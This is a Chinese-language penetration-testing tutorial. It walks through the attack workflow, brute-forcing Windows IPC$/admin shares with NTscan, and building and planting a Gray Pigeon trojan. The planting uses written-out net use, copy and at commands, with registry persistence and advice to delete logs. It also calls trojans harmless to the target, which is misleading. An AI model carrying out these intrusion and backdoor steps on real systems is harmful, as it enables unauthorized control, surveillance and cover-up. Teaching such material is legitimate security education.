一、黑客的攻擊基本流程(滲透測試流程)
-
和甲方簽合同被授權(不授權就是非法)
-
信息收集:要攻擊的對象都有哪些人,什么系統,有多少台是服務器,這些服務器都是什么服務器(即服務器上開了什么端口號)
常用的一些命令:nslookup(收集域名的IP地址),whois(查詢域名的IP以及所有者等信息,linux命令)
-
掃描漏洞:掃描----軟件的,代碼的,網站本身的,網絡設備的漏洞,確定漏洞范圍,哪些可以攻擊
- 網站漏洞:
- 使用軟件掃描IP范圍,關心的端口,如果掃出來有開放80端口的就是網站服務器,可以再用滲透工具和命令獲取這個網站服務器的網站是由什么軟件發布的(IIS,apache),這些軟件都是有漏洞的
- 高級掃描:再查看IIS是什么版本,不同版本有不同的漏洞(如win2003使用的IIS6.0版本;win2008使用的IIS7.0),此時就不是對網站本身的攻擊,而是發布網站的軟件進行攻擊。如果請維護人員將漏洞補上了,再去掃描網站漏洞
- 掃描網站本身漏洞:網站十大漏洞(SQL注入,xss,文件上傳等),利用一些工具按照我們學過的知識對網站進行破解和攻擊
- 攻擊網站是為了拿到發布此網站的服務器的最高權限---服務器管理員賬號和密碼,對網站本身並不關心。知道IP和賬號密碼就可以使用telnet遠程控制此服務器了。那么服務器上的數據都可以擋下來,比如數據庫中的信息
- 網站漏洞:
-
漏洞利用 :從最簡單的漏洞入手,一個一個試
- 有很多這里舉一個例子:比如有些win7系統的3389端口(遠程桌面)有漏洞,可以利用漏洞進行溢出攻擊:把對方電腦上的3389那個軟件的內存占滿溢出,那么他的電腦就屬於失控狀態,此時立馬可以拿到對方電腦的system權限,黑客電腦上就彈出來對方的cmd窗口,可以通過命令對對方的電腦操作。(根本不需要知道賬號密碼)
-
提權:拿到對方的shell窗口(命令行窗口)、拿到對方的最高權限、或者拿到對方的桌面環境
-
毀屍滅跡:操作會在日志中記錄,要刪除日志中的記錄
-
留后門:下次再攻擊就不需要這么多步驟了,直接攻擊、控制即可(一般就是植入木馬等)
-
做滲透測試報告
-
如果再給錢,就可以針對漏洞做安全加固
以上是簡單的滲透測試步驟,不一定全面也不一定每個步驟都有,這里簡單知道一下,后面會全面講解
二、滲透工具
1.掃描工具
- Nmap:linux操作系統下非常好用的網絡掃描和嗅探軟件;可以掃描公司中哪些IP在線、哪些電腦開着什么端口以及每個電腦使用什么操作系統,電腦的補丁達到的版本等
- scanport:可以設置掃描IP的范圍以及指定端口的小巧工具(windows使用)
2.暴力破解工具
- hydra:是世界頂級密碼暴力密碼破解工具,支持幾乎所有協議的在線密碼破解(只要是要彈框讓用戶輸入賬號密碼的都可以暴力破解,比如445文件共享,3389遠程桌面,20/21FTP等)
- NTscan:只能針對139(網絡共享的端口)/445端口彈框進行暴力破解(windows使用)
3.密碼字典生成工具
- 一般與暴力破解工具一起使用
- 在百度上查找即可,每一款軟件都有自己的特色。
4.木馬制作軟件
- 灰鴿子,冰河,大鯊魚等
三、滲透工具滲透原理
1.掃描端口號的原理
-
telnet命令:
telnet 目標IP 測試端口號
(手工測試端口號開放)這條命令會向目標IP的端口號發一個探測包,如果對方回應了則表示開啟;如果沒有回應則未開啟
-
注意:由於掃描和暴力破解工具的原理是用命令發送探測包和嘗試連接共享,所以一定要在同一個局域網內,才能實現滲透
2.暴力破解的原理
這里專門講解針對445端口暴力破解的原理,其他端口的爆破也有其他的原理
-
選定掃描的IP范圍,即可以對多台電腦進行暴力破解,但是一般此時都會確定下來要暴力破解指定的服務器或PC,所以起始IP和結束IP填一樣的即可
-
選擇嘗試連接的共享:可以選
C$
,admin$
,IPC$
等默認共享,因為一般人只要打開445端口,這幾個是電腦默認的共享 -
點擊開始:通過不斷的使用命令
net use f: \\目標IP\選擇連接的共享 密碼字典中的密碼 /user:用戶名字典中的用戶名
,沒有反應就一直發送連接命令,把密碼字典和用戶名字典中的用戶名組合全部嘗試一遍,如果賬號密碼正確,則會有回應,說明暴力破解成功!一般都是破解管理員用戶,拿到最高權限一般服務器的用戶名為administrator,只用嘗試密碼即可;PC的用戶名采用社會工程學去得到用戶名
3.密碼生成器使用
-
運用社會工程學,得到相關信息,生成密碼字典(.txt文件),然后將文件內容復制到暴力破解軟件中的DIC文件中,最后暴力破解軟件會一直嘗試密碼字典中的字典
4.木馬原理
-
如果以后學了kali,可以通過命令為木馬設置各種各樣的功能和選項,現在只能通過軟件的圖形化界面設置即可
自動上線設置,安裝選項,啟動項設置,代理服務等都可以通過命令來完成設置
四、滲透攻擊舉例--IPC$
1.文件共享445端口漏洞
- 文件共享服務端口445有漏洞,所有的磁盤和IPC$都是默認共享的,如果能得到對方的管理員的賬號和密碼,就可以通過命令查看和修改對方電腦上的任意文件
2.操作共享文件的命令(net use)
-
將對方共享文件映射到自己的某個盤符下
net use 盤符: \\目標IP\共享文件名 密碼 /user:用戶名 #比如 net use f: \\10.1.1.2\c$ 123.com /user:administrator
但此命令有個缺陷,如果關機或者注銷后,這個映射就不可用了。但有個方法可以開機自動建立連接
-
開機自動建立連接
右鍵我的電腦--映射網絡驅動器--設置映射到本地的盤符和需要映射的共享文件夾--勾選登錄時重新連接即可
-
刪除共享映射
net use f: /del #刪除指定盤符的映射 net use * /del #刪除映射到本地的所有映射
3.IPC$滲透具體流程
-
將自己的電腦和要攻擊對象處於同一網段(通過上述滲透原理可知)
-
使用掃描工具比如scanport設置掃描IP范圍以及端口號445,確定下來哪些服務器或PC開啟445端口,只要掃描到開啟的就可以考慮進行445攻擊了
-
通過社會工程學獲取相關信息,利用密碼字典生成器,生成密碼字典(服務器的用戶名一般都為adminsitrator);將字典txt文件中的密碼復制到NT_pass.dic文件中,方便NTscan10爆破工具使用
-
再使用專門針對445端口暴力破解軟件比如NTscan10,針對指定IP的主機及指定端口445/139,利用生成的密碼字典進行暴力破解,得到對方的賬號密碼
-
再通過命令
net use \\10.1.1.2\ipc$ 123.com /user:administrator
(破解到的目標IP為10.1.1.2,用戶名為administrator,密碼為123.com)與對方的空連接ipc$建立連接IPC$
:為默認開啟的共享,由於沒有關聯任何路徑(不像C$
,D:
這些),所以稱為空連接,但只要連接到對方的IPC$
,就連接了對方的整個電腦,可以通過命令對對方電腦做任何操作 -
通過命令操作對方電腦(注意要使用網絡路徑
\\
和共享文件或者磁盤的共享名)以前dos命令涉及到路徑的地方都改為網絡路徑即可(\\10.1.1.2\d$表示對方電腦下的d盤),不要出現
d:
(寫共享名)
4.植入木馬操作
-
制作木馬的軟件:灰鴿子,大鯊魚,冰河等
-
木馬特點:木馬對目標系統沒有任何傷害,且無征兆。木馬有沒有威脅取決於控制木馬的人。
-
使用灰鴿子軟件制作簡單的木馬留后門:
-
打開灰鴿子軟件界面(掛馬、加殼操作后面學習,現在只要會簡單用軟件即可)
-
點擊配置服務器程序
一般來說,我們將木馬植入對方,對方和木馬為我提供服務器,可以理解為我是客戶端,對方是服務端,所以制作木馬又可以叫制作服務程序
-
服務器配置
-
安裝選項:即木馬在對方電腦上存放的位置;圖標可以通過ICO生成一個好看的圖標
-
啟動項設置:可以將木馬寫入到注冊表啟動項(不容易清除干凈);優先安裝成服務器啟動(將木馬當成一種服務,開機木馬和其他服務一同啟動)
-
自動上線設置:其他的功能可以先不設置,這個最重要。告訴木馬主人是誰(木馬主動聯系的IP),設置保存路徑(制作好的木馬起名和保存在本地的路徑)---點擊生成服務器
-
-
植入木馬
-
通過命令將本地的創建好的木馬程序復制到對方電腦上一個不起眼的位置
copy d:\muma.exe \\10.1.1.2\c$\system #將本地d盤下的muma程序拷貝到對方電腦的C盤system文件夾下
-
-
啟動木馬
-
方式一:通過打開對方的telnet端口23,通過telnet命令連接對方電腦的cmd窗口,再直接輸入的
路徑\木馬程序名.exe
啟動木馬 -
方式二:通過at命令做一個計划任務
net time \\10.1.1.2 #查看對方電腦上的當前時間
at \\10.1.1.2 時間 "c:\system\muma.exe" #定時執行作業 #時間格式:11:29
at \\10.1.1.2 #顯示指定電腦上的計划任務列表
-
切忌:一定不要在自己的電腦cmd窗口上直接輸入
網絡路徑\木馬程序名.exe
,因為這是在你自己的電腦上運行對方電腦上的木馬程序!!!
-
-
對對方電腦做查看或修改
-
通過在灰鴿子軟件上(對自動上線的主機)進行相關操作
-
下載上傳文件、注冊表編輯,遠程控制、telnet、捕獲屏幕、接管鼠標鍵盤、攝像頭監控等
-
-
五、相關命令總結
1.telnet
telent 目標IP 端口號 #手工測試端口號開放
2.net use
net use \\目標主機IP\ipc$ 密碼 /user:用戶名 #建立空連接
net use f: \\10.1.1.1\c$ 密碼 /user:用戶名 #建立連接映射到本地磁盤
以下為建立空連接后,才能執行的相關操作
2.copy
copy 本地路徑\文件名.后綴名 \\目標IP\盤符$\路徑 #將本地文件拷入到對方電腦的路徑下
#舉例:
copy d:\muma.exe \\10.1.1.2\c$\system
3.net time
net time #查看本地時間
net time \\10.1.1.1 #查看指定主機的電腦時間(前提是要先與對方主機建立空連接)
4.at
at #顯示本地計划任務列表
at \\10.1.1.1 #顯示指定主機的計划任務列表(前提是與對方主機建立空連接)
at \\10.1.1.1 19:30 "c:\system\muma.exe" #在指定時間執行相關對方主機上的某程序(前提是建立空連接)
win10系統已經用該命令:替換為
schtasks